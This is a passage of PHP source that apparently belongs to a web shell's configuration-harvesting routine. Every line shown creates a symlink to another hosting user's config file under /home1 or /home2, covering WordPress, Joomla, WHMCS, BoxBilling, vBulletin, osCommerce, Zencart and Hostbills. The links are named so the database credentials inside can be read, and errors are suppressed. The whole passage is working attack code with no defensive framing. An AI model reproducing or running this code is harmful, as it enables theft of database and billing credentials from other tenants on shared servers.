6020@symlink('/home1/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
6021@symlink('/home1/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
6022@symlink('/home1/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
6023@symlink('/home1/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
6024@symlink('/home1/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
6025@symlink('/home1/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
6026@symlink('/home1/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
6027@symlink('/home1/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
6028@symlink('/home1/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
6029@symlink('/home1/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
6030@symlink('/home1/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
6031@symlink('/home1/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
6032@symlink('/home1/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
6033@symlink('/home1/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
6034@symlink('/home1/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
6035@symlink('/home1/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
6036@symlink('/home1/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
6037@symlink('/home1/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
6038@symlink('/home1/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
6039@symlink('/home1/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
6040@symlink('/home1/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
6041@symlink('/home1/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
6042@symlink('/home1/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
6043@symlink('/home1/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
6044@symlink('/home1/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
6045@symlink('/home1/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
6046@symlink('/home1/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
6047@symlink('/home1/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
6048@symlink('/home1/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
6049@symlink('/home1/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
6050@symlink('/home1/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
6051@symlink('/home1/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
6052@symlink('/home1/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
6053@symlink('/home1/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
6054@symlink('/home1/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
6055@symlink('/home1/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
6056@symlink('/home1/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
6057@symlink('/home1/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
6058@symlink('/home1/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
6059@symlink('/home1/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
6060@symlink('/home1/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
6061@symlink('/home1/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
6062@symlink('/home1/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
6063@symlink('/home1/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
6064@symlink('/home1/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
6065@symlink('/home1/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
6066@symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
6067@symlink('/home1/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
6068@symlink('/home1/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
6069@symlink('/home1/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
6070@symlink('/home1/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
6071@symlink('/home1/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
6072@symlink('/home1/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
6073@symlink('/home1/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
6074@symlink('/home1/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
6075@symlink('/home1/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
6076@symlink('/home1/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
6077@symlink('/home1/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
6078@symlink('/home1/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
6079@symlink('/home1/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
6080@symlink('/home1/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
6081@symlink('/home1/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
6082@symlink('/home1/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
6083@symlink('/home1/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
6084@symlink('/home1/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
6085@symlink('/home1/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
6086@symlink('/home1/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
6087@symlink('/home1/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
6088@symlink('/home1/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
6089@symlink('/home1/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
6090@symlink('/home1/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
6091@symlink('/home1/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
6092@symlink('/home1/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
6093@symlink('/home1/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
6094@symlink('/home1/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
6095@symlink('/home1/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
6096@symlink('/home1/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
6097@symlink('/home1/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
6098@symlink('/home1/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
6099@symlink('/home1/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
6100@symlink('/home1/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
6101@symlink('/home1/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
6102@symlink('/home1/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
6103@symlink('/home1/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
6104@symlink('/home1/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
6105@symlink('/home1/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
6106@symlink('/home1/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
6107@symlink('/home1/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
6108@symlink('/home1/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
6109@symlink('/home1/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
6110@symlink('/home1/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
6111@symlink('/home1/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
6112@symlink('/home1/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
6113@symlink('/home1/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
6114@symlink('/home1/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
6115@symlink('/home1/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
6116@symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
6117@symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
6118@symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
6119@symlink('/home1/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
6120@symlink('/home1/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
6121@symlink('/home1/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
6122@symlink('/home1/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
6123@symlink('/home1/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
6124@symlink('/home1/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
6125@symlink('/home1/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
6126@symlink('/home1/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
6127@symlink('/home1/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
6128@symlink('/home1/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
6129@symlink('/home1/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
6130@symlink('/home1/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
6131@symlink('/home1/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
6132@symlink('/home1/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
6133@symlink('/home1/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
6134@symlink('/home1/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
6135@symlink('/home1/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
6136@symlink('/home1/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
6137@symlink('/home1/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
6138@symlink('/home1/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
6139@symlink('/home1/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
6140@symlink('/home1/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
6141@symlink('/home1/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
6142@symlink('/home1/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
6143@symlink('/home1/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
6144@symlink('/home1/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
6145@symlink('/home1/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
6146@symlink('/home1/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
6147@symlink('/home1/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
6148@symlink('/home1/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
6149@symlink('/home1/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
6150@symlink('/home1/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
6151@symlink('/home1/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
6152@symlink('/home1/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
6153@symlink('/home1/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
6154@symlink('/home1/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
6155@symlink('/home1/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
6156@symlink('/home1/'.$user.'/public_html/boxbilling/bb-config.php',$user.'-BoxBilling.txt');
6157@symlink('/home1/'.$user.'/public_html/box/bb-config.php',$user.'-BoxBilling.txt');
6158@symlink('/home1/'.$user.'/public_html/host/bb-config.php',$user.'-BoxBilling.txt');
6159@symlink('/home1/'.$user.'/public_html/Host/bb-config.php',$user.'-BoxBilling.txt');
6160@symlink('/home1/'.$user.'/public_html/supportes/bb-config.php',$user.'-BoxBilling.txt');
6161@symlink('/home1/'.$user.'/public_html/support/bb-config.php',$user.'-BoxBilling.txt');
6162@symlink('/home1/'.$user.'/public_html/hosting/bb-config.php',$user.'-BoxBilling.txt');
6163@symlink('/home1/'.$user.'/public_html/cart/bb-config.php',$user.'-BoxBilling.txt');
6164@symlink('/home1/'.$user.'/public_html/order/bb-config.php',$user.'-BoxBilling.txt');
6165@symlink('/home1/'.$user.'/public_html/client/bb-config.php',$user.'-BoxBilling.txt');
6166@symlink('/home1/'.$user.'/public_html/clients/bb-config.php',$user.'-BoxBilling.txt');
6167@symlink('/home1/'.$user.'/public_html/cliente/bb-config.php',$user.'-BoxBilling.txt');
6168@symlink('/home1/'.$user.'/public_html/clientes/bb-config.php',$user.'-BoxBilling.txt');
6169@symlink('/home1/'.$user.'/public_html/billing/bb-config.php',$user.'-BoxBilling.txt');
6170@symlink('/home1/'.$user.'/public_html/billings/bb-config.php',$user.'-BoxBilling.txt');
6171@symlink('/home1/'.$user.'/public_html/my/bb-config.php',$user.'-BoxBilling.txt');
6172@symlink('/home1/'.$user.'/public_html/secure/bb-config.php',$user.'-BoxBilling.txt');
6173@symlink('/home1/'.$user.'/public_html/support/order/bb-config.php',$user.'-BoxBilling.txt');
6174@symlink('/home1/'.$user.'/public_html/includes/dist-configure.php',$user.'-Zencart.txt');
6175@symlink('/home1/'.$user.'/public_html/zencart/includes/dist-configure.php',$user.'-Zencart.txt');
6176@symlink('/home1/'.$user.'/public_html/products/includes/dist-configure.php',$user.'-Zencart.txt');
6177@symlink('/home1/'.$user.'/public_html/cart/includes/dist-configure.php',$user.'-Zencart.txt');
6178@symlink('/home1/'.$user.'/public_html/shop/includes/dist-configure.php',$user.'-Zencart.txt');
6179@symlink('/home1/'.$user.'/public_html/includes/iso4217.php',$user.'-Hostbills.txt');
6180@symlink('/home1/'.$user.'/public_html/hostbills/includes/iso4217.php',$user.'-Hostbills.txt');
6181@symlink('/home1/'.$user.'/public_html/host/includes/iso4217.php',$user.'-Hostbills.txt');
6182@symlink('/home1/'.$user.'/public_html/Host/includes/iso4217.php',$user.'-Hostbills.txt');
6183@symlink('/home1/'.$user.'/public_html/supportes/includes/iso4217.php',$user.'-Hostbills.txt');
6184@symlink('/home1/'.$user.'/public_html/support/includes/iso4217.php',$user.'-Hostbills.txt');
6185@symlink('/home1/'.$user.'/public_html/hosting/includes/iso4217.php',$user.'-Hostbills.txt');
6186@symlink('/home1/'.$user.'/public_html/cart/includes/iso4217.php',$user.'-Hostbills.txt');
6187@symlink('/home1/'.$user.'/public_html/order/includes/iso4217.php',$user.'-Hostbills.txt');
6188@symlink('/home1/'.$user.'/public_html/client/includes/iso4217.php',$user.'-Hostbills.txt');
6189@symlink('/home1/'.$user.'/public_html/clients/includes/iso4217.php',$user.'-Hostbills.txt');
6190@symlink('/home1/'.$user.'/public_html/cliente/includes/iso4217.php',$user.'-Hostbills.txt');
6191@symlink('/home1/'.$user.'/public_html/clientes/includes/iso4217.php',$user.'-Hostbills.txt');
6192@symlink('/home1/'.$user.'/public_html/billing/includes/iso4217.php',$user.'-Hostbills.txt');
6193@symlink('/home1/'.$user.'/public_html/billings/includes/iso4217.php',$user.'-Hostbills.txt');
6194@symlink('/home1/'.$user.'/public_html/my/includes/iso4217.php',$user.'-Hostbills.txt');
6195@symlink('/home1/'.$user.'/public_html/secure/includes/iso4217.php',$user.'-Hostbills.txt');
6196@symlink('/home1/'.$user.'/public_html/support/order/includes/iso4217.php',$user.'-Hostbills.txt');
6197
6198//Home2
6199
6200@symlink('/home2/'.$user.'/public_html/vb/includes/config.php',$user.'-Vbulletin.txt');
6201@symlink('/home2/'.$user.'/public_html/includes/config.php',$user.'-Vbulletin.txt');
6202@symlink('/home2/'.$user.'/public_html/forum/includes/config.php',$user.'-Vbulletin.txt');
6203@symlink('/home2/'.$user.'/public_html/forums/includes/config.php',$user.'-Vbulletin.txt');
6204@symlink('/home2/'.$user.'/public_html/cc/includes/config.php',$user.'-Vbulletin.txt');
6205@symlink('/home2/'.$user.'/public_html/inc/config.php',$user.'-MyBB.txt');
6206@symlink('/home2/'.$user.'/public_html/includes/configure.php',$user.'-OsCommerce.txt');
6207@symlink('/home2/'.$user.'/public_html/shop/includes/configure.php',$user.'-OsCommerce.txt');
6208@symlink('/home2/'.$user.'/public_html/os/includes/configure.php',$user.'-OsCommerce.txt');
6209@symlink('/home2/'.$user.'/public_html/oscom/includes/configure.php',$user.'-OsCommerce.txt');
6210@symlink('/home2/'.$user.'/public_html/products/includes/configure.php',$user.'-OsCommerce.txt');
6211@symlink('/home2/'.$user.'/public_html/cart/includes/configure.php',$user.'-OsCommerce.txt');
6212@symlink('/home2/'.$user.'/public_html/inc/conf_global.php',$user.'-IPB.txt');
6213@symlink('/home2/'.$user.'/public_html/wp-config.php',$user.'-Wordpress.txt');
6214@symlink('/home2/'.$user.'/public_html/wp/test/wp-config.php',$user.'-Wordpress.txt');
6215@symlink('/home2/'.$user.'/public_html/blog/wp-config.php',$user.'-Wordpress.txt');
6216@symlink('/home2/'.$user.'/public_html/beta/wp-config.php',$user.'-Wordpress.txt');
6217@symlink('/home2/'.$user.'/public_html/portal/wp-config.php',$user.'-Wordpress.txt');
6218@symlink('/home2/'.$user.'/public_html/site/wp-config.php',$user.'-Wordpress.txt');
6219@symlink('/home2/'.$user.'/public_html/wp/wp-config.php',$user.'-Wordpress.txt');
6220@symlink('/home2/'.$user.'/public_html/WP/wp-config.php',$user.'-Wordpress.txt');
6221@symlink('/home2/'.$user.'/public_html/news/wp-config.php',$user.'-Wordpress.txt');
6222@symlink('/home2/'.$user.'/public_html/wordpress/wp-config.php',$user.'-Wordpress.txt');
6223@symlink('/home2/'.$user.'/public_html/test/wp-config.php',$user.'-Wordpress.txt');
6224@symlink('/home2/'.$user.'/public_html/demo/wp-config.php',$user.'-Wordpress.txt');
6225@symlink('/home2/'.$user.'/public_html/home/wp-config.php',$user.'-Wordpress.txt');
6226@symlink('/home2/'.$user.'/public_html/v1/wp-config.php',$user.'-Wordpress.txt');
6227@symlink('/home2/'.$user.'/public_html/v2/wp-config.php',$user.'-Wordpress.txt');
6228@symlink('/home2/'.$user.'/public_html/press/wp-config.php',$user.'-Wordpress.txt');
6229@symlink('/home2/'.$user.'/public_html/new/wp-config.php',$user.'-Wordpress.txt');
6230@symlink('/home2/'.$user.'/public_html/blogs/wp-config.php',$user.'-Wordpress.txt');
6231@symlink('/home2/'.$user.'/public_html/configuration.php',$user.'-Joomla.txt');
6232@symlink('/home2/'.$user.'/public_html/blog/configuration.php',$user.'-Joomla.txt');
6233@symlink('/home2/'.$user.'/public_html/submitticket.php',$user.'-^WHMCS.txt');
6234@symlink('/home2/'.$user.'/public_html/cms/configuration.php',$user.'-Joomla.txt');
6235@symlink('/home2/'.$user.'/public_html/beta/configuration.php',$user.'-Joomla.txt');
6236@symlink('/home2/'.$user.'/public_html/portal/configuration.php',$user.'-Joomla.txt');
6237@symlink('/home2/'.$user.'/public_html/site/configuration.php',$user.'-Joomla.txt');
6238@symlink('/home2/'.$user.'/public_html/main/configuration.php',$user.'-Joomla.txt');
6239@symlink('/home2/'.$user.'/public_html/home/configuration.php',$user.'-Joomla.txt');
6240@symlink('/home2/'.$user.'/public_html/demo/configuration.php',$user.'-Joomla.txt');
6241@symlink('/home2/'.$user.'/public_html/test/configuration.php',$user.'-Joomla.txt');
6242@symlink('/home2/'.$user.'/public_html/v1/configuration.php',$user.'-Joomla.txt');
6243@symlink('/home2/'.$user.'/public_html/v2/configuration.php',$user.'-Joomla.txt');
6244@symlink('/home2/'.$user.'/public_html/joomla/configuration.php',$user.'-Joomla.txt');
6245@symlink('/home2/'.$user.'/public_html/new/configuration.php',$user.'-Joomla.txt');
6246@symlink('/home2/'.$user.'/public_html/WHMCS/configuration.php',$user.'-WHMCS.txt');
6247@symlink('/home2/'.$user.'/public_html/whmcs1/configuration.php',$user.'-WHMCS.txt');
6248@symlink('/home2/'.$user.'/public_html/Whmcs/configuration.php',$user.'-WHMCS.txt');
6249@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
6250@symlink('/home2/'.$user.'/public_html/whmcs/configuration.php',$user.'-WHMCS.txt');
6251@symlink('/home2/'.$user.'/public_html/WHMC/configuration.php',$user.'-WHMCS.txt');
6252@symlink('/home2/'.$user.'/public_html/Whmc/configuration.php',$user.'-WHMCS.txt');
6253@symlink('/home2/'.$user.'/public_html/whmc/configuration.php',$user.'-WHMCS.txt');
6254@symlink('/home2/'.$user.'/public_html/WHM/configuration.php',$user.'-WHMCS.txt');
6255@symlink('/home2/'.$user.'/public_html/Whm/configuration.php',$user.'-WHMCS.txt');
6256@symlink('/home2/'.$user.'/public_html/whm/configuration.php',$user.'-WHMCS.txt');
6257@symlink('/home2/'.$user.'/public_html/HOST/configuration.php',$user.'-WHMCS.txt');
6258@symlink('/home2/'.$user.'/public_html/Host/configuration.php',$user.'-WHMCS.txt');
6259@symlink('/home2/'.$user.'/public_html/host/configuration.php',$user.'-WHMCS.txt');
6260@symlink('/home2/'.$user.'/public_html/SUPPORTES/configuration.php',$user.'-WHMCS.txt');
6261@symlink('/home2/'.$user.'/public_html/Supportes/configuration.php',$user.'-WHMCS.txt');
6262@symlink('/home2/'.$user.'/public_html/supportes/configuration.php',$user.'-WHMCS.txt');
6263@symlink('/home2/'.$user.'/public_html/domains/configuration.php',$user.'-WHMCS.txt');
6264@symlink('/home2/'.$user.'/public_html/domain/configuration.php',$user.'-WHMCS.txt');
6265@symlink('/home2/'.$user.'/public_html/Hosting/configuration.php',$user.'-WHMCS.txt');
6266@symlink('/home2/'.$user.'/public_html/HOSTING/configuration.php',$user.'-WHMCS.txt');
6267@symlink('/home2/'.$user.'/public_html/hosting/configuration.php',$user.'-WHMCS.txt');
6268@symlink('/home2/'.$user.'/public_html/CART/configuration.php',$user.'-WHMCS.txt');
6269@symlink('/home2/'.$user.'/public_html/Cart/configuration.php',$user.'-WHMCS.txt');
6270@symlink('/home2/'.$user.'/public_html/cart/configuration.php',$user.'-WHMCS.txt');
6271@symlink('/home2/'.$user.'/public_html/ORDER/configuration.php',$user.'-WHMCS.txt');
6272@symlink('/home2/'.$user.'/public_html/Order/configuration.php',$user.'-WHMCS.txt');
6273@symlink('/home2/'.$user.'/public_html/order/configuration.php',$user.'-WHMCS.txt');
6274@symlink('/home2/'.$user.'/public_html/CLIENT/configuration.php',$user.'-WHMCS.txt');
6275@symlink('/home2/'.$user.'/public_html/Client/configuration.php',$user.'-WHMCS.txt');
6276@symlink('/home2/'.$user.'/public_html/client/configuration.php',$user.'-WHMCS.txt');
6277@symlink('/home2/'.$user.'/public_html/CLIENTAREA/configuration.php',$user.'-WHMCS.txt');
6278@symlink('/home2/'.$user.'/public_html/Clientarea/configuration.php',$user.'-WHMCS.txt');
6279@symlink('/home2/'.$user.'/public_html/clientarea/configuration.php',$user.'-WHMCS.txt');
6280@symlink('/home2/'.$user.'/public_html/SUPPORT/configuration.php',$user.'-WHMCS.txt');
6281@symlink('/home2/'.$user.'/public_html/Support/configuration.php',$user.'-WHMCS.txt');
6282@symlink('/home2/'.$user.'/public_html/support/configuration.php',$user.'-WHMCS.txt');
6283@symlink('/home2/'.$user.'/public_html/BILLING/configuration.php',$user.'-WHMCS.txt');
6284@symlink('/home2/'.$user.'/public_html/Billing/configuration.php',$user.'-WHMCS.txt');
6285@symlink('/home2/'.$user.'/public_html/billing/configuration.php',$user.'-WHMCS.txt');
6286@symlink('/home2/'.$user.'/public_html/BUY/configuration.php',$user.'-WHMCS.txt');
6287@symlink('/home2/'.$user.'/public_html/Buy/configuration.php',$user.'-WHMCS.txt');
6288@symlink('/home2/'.$user.'/public_html/buy/configuration.php',$user.'-WHMCS.txt');
6289@symlink('/home2/'.$user.'/public_html/MANAGE/configuration.php',$user.'-WHMCS.txt');
6290@symlink('/home2/'.$user.'/public_html/Manage/configuration.php',$user.'-WHMCS.txt');
6291@symlink('/home2/'.$user.'/public_html/manage/configuration.php',$user.'-WHMCS.txt');
6292@symlink('/home2/'.$user.'/public_html/CLIENTSUPPORT/configuration.php',$user.'-WHMCS.txt');
6293@symlink('/home2/'.$user.'/public_html/ClientSupport/configuration.php',$user.'-WHMCS.txt');
6294@symlink('/home2/'.$user.'/public_html/Clientsupport/configuration.php',$user.'-WHMCS.txt');
6295@symlink('/home2/'.$user.'/public_html/clientsupport/configuration.php',$user.'-WHMCS.txt');
6296@symlink('/home2/'.$user.'/public_html/CHECKOUT/configuration.php',$user.'-WHMCS.txt');
6297@symlink('/home2/'.$user.'/public_html/Checkout/configuration.php',$user.'-WHMCS.txt');
6298@symlink('/home2/'.$user.'/public_html/checkout/configuration.php',$user.'-WHMCS.txt');
6299@symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
6300@symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
6301@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
6302@symlink('/home2/'.$user.'/public_html/BASKET/configuration.php',$user.'-WHMCS.txt');
6303@symlink('/home2/'.$user.'/public_html/Basket/configuration.php',$user.'-WHMCS.txt');
6304@symlink('/home2/'.$user.'/public_html/basket/configuration.php',$user.'-WHMCS.txt');
6305@symlink('/home2/'.$user.'/public_html/SECURE/configuration.php',$user.'-WHMCS.txt');
6306@symlink('/home2/'.$user.'/public_html/Secure/configuration.php',$user.'-WHMCS.txt');
6307@symlink('/home2/'.$user.'/public_html/secure/configuration.php',$user.'-WHMCS.txt');
6308@symlink('/home2/'.$user.'/public_html/SALES/configuration.php',$user.'-WHMCS.txt');
6309@symlink('/home2/'.$user.'/public_html/Sales/configuration.php',$user.'-WHMCS.txt');
6310@symlink('/home2/'.$user.'/public_html/sales/configuration.php',$user.'-WHMCS.txt');
6311@symlink('/home2/'.$user.'/public_html/BILL/configuration.php',$user.'-WHMCS.txt');
6312@symlink('/home2/'.$user.'/public_html/Bill/configuration.php',$user.'-WHMCS.txt');
6313@symlink('/home2/'.$user.'/public_html/bill/configuration.php',$user.'-WHMCS.txt');
6314@symlink('/home2/'.$user.'/public_html/PURCHASE/configuration.php',$user.'-WHMCS.txt');
6315@symlink('/home2/'.$user.'/public_html/Purchase/configuration.php',$user.'-WHMCS.txt');
6316@symlink('/home2/'.$user.'/public_html/purchase/configuration.php',$user.'-WHMCS.txt');
6317@symlink('/home2/'.$user.'/public_html/ACCOUNT/configuration.php',$user.'-WHMCS.txt');
6318@symlink('/home2/'.$user.'/public_html/Account/configuration.php',$user.'-WHMCS.txt');
6319@symlink('/home2/'.$user.'/public_html/account/configuration.php',$user.'-WHMCS.txt');
6320@symlink('/home2/'.$user.'/public_html/USER/configuration.php',$user.'-WHMCS.txt');
6321@symlink('/home2/'.$user.'/public_html/User/configuration.php',$user.'-WHMCS.txt');
6322@symlink('/home2/'.$user.'/public_html/user/configuration.php',$user.'-WHMCS.txt');
6323@symlink('/home2/'.$user.'/public_html/CLIENTS/configuration.php',$user.'-WHMCS.txt');
6324@symlink('/home2/'.$user.'/public_html/Clients/configuration.php',$user.'-WHMCS.txt');
6325@symlink('/home2/'.$user.'/public_html/clients/configuration.php',$user.'-WHMCS.txt');
6326@symlink('/home2/'.$user.'/public_html/BILLINGS/configuration.php',$user.'-WHMCS.txt');
6327@symlink('/home2/'.$user.'/public_html/Billings/configuration.php',$user.'-WHMCS.txt');
6328@symlink('/home2/'.$user.'/public_html/billings/configuration.php',$user.'-WHMCS.txt');
6329@symlink('/home2/'.$user.'/public_html/MY/configuration.php',$user.'-WHMCS.txt');
6330@symlink('/home2/'.$user.'/public_html/My/configuration.php',$user.'-WHMCS.txt');
6331@symlink('/home2/'.$user.'/public_html/my/configuration.php',$user.'-WHMCS.txt');
6332@symlink('/home2/'.$user.'/public_html/secure/whm/configuration.php',$user.'-WHMCS.txt');
6333@symlink('/home2/'.$user.'/public_html/secure/whmcs/configuration.php',$user.'-WHMCS.txt');
6334@symlink('/home2/'.$user.'/public_html/panel/configuration.php',$user.'-WHMCS.txt');
6335@symlink('/home2/'.$user.'/public_html/clientes/configuration.php',$user.'-WHMCS.txt');
6336@symlink('/home2/'.$user.'/public_html/cliente/configuration.php',$user.'-WHMCS.txt');
6337@symlink('/home2/'.$user.'/public_html/support/order/configuration.php',$user.'-WHMCS.txt');
6338@symlink('/home2/'.$user.'/public_html/bb-config.php',$user.'-BoxBilling.txt');
